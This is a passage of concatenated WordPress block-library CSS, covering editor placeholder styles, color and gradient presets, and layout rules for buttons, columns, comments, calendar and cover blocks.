          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  cursor:default;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}

.wp-block-post-content.wp-block-post-content{
  -webkit-user-select:none;
          user-select:none;
}
.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}
:root .editor-styles-wrapper .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .editor-styles-wrapper .has-very-light-gray-color{
  color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-color{
  color:#313131;
}
:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .editor-styles-wrapper .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .editor-styles-wrapper .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .editor-styles-wrapper .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .editor-styles-wrapper .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .editor-styles-wrapper .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

:where(.editor-styles-wrapper){
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}

:where(.editor-styles-wrapper) .has-regular-font-size{
  font-size:16px;
}

:where(.editor-styles-wrapper) .has-larger-font-size{
  font-size:42px;
}

:where(.editor-styles-wrapper) .has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

:where(.editor-styles-wrapper) .has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}
:where(.editor-styles-wrapper) iframe:not([frameborder]){
  border:0;
}@charset "UTF-8";

.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}

.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}

.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}

.wp-block-button__link{
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{
  border:2px solid;
  padding:.667em 1.333em;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){
  color:currentColor;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){
  background-color:initial;
  background-image:none;
}

.wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-left-width:medium;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block-button.aligncenter,.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}

.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}

.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}

.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}
.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}

.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-left:2rem;
}
.wp-block-comment-template.alignleft{
  float:left;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:right;
}

.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image:after,.wp-block-cover:after{
  content:"";
  display:block;
  font-size:0;
  min-height:inherit;
}
@supports (position:sticky){
  .wp-block-cover-image:after,.wp-block-cover:after{
    content:none;
  }
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit;
  width:100%;
  z-index:1;
}
.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){
  color:inherit;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
